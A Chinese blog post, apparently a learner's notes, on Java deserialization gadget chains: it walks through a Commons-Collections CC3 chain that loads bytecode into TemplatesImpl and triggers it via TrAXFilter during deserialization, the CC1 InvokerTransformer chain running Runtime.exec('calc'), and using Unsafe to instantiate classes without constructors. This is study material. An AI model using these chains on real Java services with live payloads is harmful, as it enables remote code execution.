关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象

2024-04-26 03:28

本文主要是介绍关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一个问题

今天在又看cc3的时候想不通一个问题,就是关于TrAXFilter这个类,我们看到这个类的构造方法

public TrAXFilter(Templates templates)  throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}

会直接触发templates.newTransformer();,而且这个构造方法是public的,所以我根本不需要再添加其他代码,只需要实例化它就可以直接弹出计算机了,为什么还需要InstantiateTransformer类来实例化它呢?

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test1 {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {TemplatesImpl templates= new TemplatesImpl();setFiledValue(templates,"_name","ljl" );byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));byte[][] codes = {code};setFiledValue(templates,"_bytecodes",codes);setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());TrAXFilter trAXFilter =new TrAXFilter(templates);serialize(trAXFilter);unserialize("1.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {Class clazz = object.getClass();Field field = clazz.getDeclaredField(name);field.setAccessible(true);field.set(object,filed_value);}}

运行后可以弹出计算器

解决

于是带着这个疑惑问了一下java✌,最后也是学到了很多,不得不说,学到了
java✌问了我一个问题?
反序列化的时候会调用这个public的构造方法吗?
我懵逼了,不懂什么意思
然后java✌给我讲解了一番,这里我们看看这样一个例子,还记得cc1链
我们利用Runtime类是这样利用的

Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动notepadnew InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

但是我们看到Runtime

public static Runtime getRuntime() {return currentRuntime;}

是有一个public方法是可以获取到它的,为什么还要这么麻烦呢?
才想起是因为Runtime是没有继承序列化接口的,所以如果你直接实例化它,它是不能进行序列化的,也就不会反序列化了,所以我们得利用继承了序列化接口的类去搭

第二个问题

在讲解的过程中,我们在尝试利用反射去实例化
TrAXFilter类的时候又发生了一个问题

public class Test1 {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {Class clazz = TrAXFilter.class;Constructor constructor =clazz.getDeclaredConstructor(null);}

在尝试去反射获取构造方法的时候报错

Exception in thread "main" java.lang.NoSuchMethodException: com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)at java.lang.Class.getConstructor0(Class.java:3082)at java.lang.Class.getDeclaredConstructor(Class.java:2178)at org.example.Test1.main(Test1.java:23)

找不到方法,我们尝试了很久,都没有获取到,于是java爷给我讲了一个unsafe类,可以无视构造方法实例化一个类

public class Test1 {public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException {Class clazz = Unsafe.class;Constructor constructor = clazz.getDeclaredConstructor(null);constructor.setAccessible(true);Unsafe unsafe = (Unsafe) constructor.newInstance(null);Object p=unsafe.allocateInstance(TrAXFilter.class);System.out.println(p);}
//输出com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter@74a14482

可以发现获取成功了,nice,nice

这篇关于关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/936583

相关文章

第10章 中断和动态时钟显示

第10章 中断和动态时钟显示 从本章开始,按照书籍的划分,第10章开始就进入保护模式(Protected Mode)部分了,感觉从这里开始难度突然就增加了。 书中介绍了为什么有中断(Interrupt)的设计,中断的几种方式:外部硬件中断、内部中断和软中断。通过中断做了一个会走的时钟和屏幕上输入字符的程序。 我自己理解中断的一些作用: 为了更好的利用处理器的性能。协同快速和慢速设备一起工作

动态规划---打家劫舍

题目: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代表每个房屋存放金额的非负整数数组,计算你 不触动警报装置的情况下 ,一夜之内能够偷窃到的最高金额。 思路: 动态规划五部曲: 1.确定dp数组及含义 dp数组是一维数组,dp[i]代表

Flutter 进阶:绘制加载动画

绘制加载动画:由小圆组成的大圆 1. 定义 LoadingScreen 类2. 实现 _LoadingScreenState 类3. 定义 LoadingPainter 类4. 总结 实现加载动画 我们需要定义两个类:LoadingScreen 和 LoadingPainter。LoadingScreen 负责控制动画的状态,而 LoadingPainter 则负责绘制动画。

代码随想录冲冲冲 Day39 动态规划Part7

198. 打家劫舍 dp数组的意义是在第i位的时候偷的最大钱数是多少 如果nums的size为0 总价值当然就是0 如果nums的size为1 总价值是nums[0] 遍历顺序就是从小到大遍历 之后是递推公式 对于dp[i]的最大价值来说有两种可能 1.偷第i个 那么最大价值就是dp[i-2]+nums[i] 2.不偷第i个 那么价值就是dp[i-1] 之后取这两个的最大值就是d

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

leetcode105 从前序与中序遍历序列构造二叉树

根据一棵树的前序遍历与中序遍历构造二叉树。 注意: 你可以假设树中没有重复的元素。 例如,给出 前序遍历 preorder = [3,9,20,15,7]中序遍历 inorder = [9,3,15,20,7] 返回如下的二叉树: 3/ \9 20/ \15 7   class Solution {public TreeNode buildTree(int[] pr

Java第二阶段---09类和对象---第三节 构造方法

第三节 构造方法 1.概念 构造方法是一种特殊的方法,主要用于创建对象以及完成对象的属性初始化操作。构造方法不能被对象调用。 2.语法 //[]中内容可有可无 访问修饰符 类名([参数列表]){ } 3.示例 public class Car {     //车特征(属性)     public String name;//车名   可以直接拿来用 说明它有初始值     pu

Android Environment 获取的路径问题

1. 以获取 /System 路径为例 /*** Return root of the "system" partition holding the core Android OS.* Always present and mounted read-only.*/public static @NonNull File getRootDirectory() {return DIR_ANDR

LeetCode:64. 最大正方形 动态规划 时间复杂度O(nm)

64. 最大正方形 题目链接 题目描述 给定一个由 0 和 1 组成的二维矩阵,找出只包含 1 的最大正方形,并返回其面积。 示例1: 输入: 1 0 1 0 01 0 1 1 11 1 1 1 11 0 0 1 0输出: 4 示例2: 输入: 0 1 1 0 01 1 1 1 11 1 1 1 11 1 1 1 1输出: 9 解题思路 这道题的思路是使用动态规划

JS和jQuery获取节点的兄弟,父级,子级元素

原文转自http://blog.csdn.net/duanshuyong/article/details/7562423 先说一下JS的获取方法,其要比JQUERY的方法麻烦很多,后面以JQUERY的方法作对比。 JS的方法会比JQUERY麻烦很多,主要则是因为FF浏览器,FF浏览器会把你的换行也当最DOM元素。 <div id="test"><div></div><div></div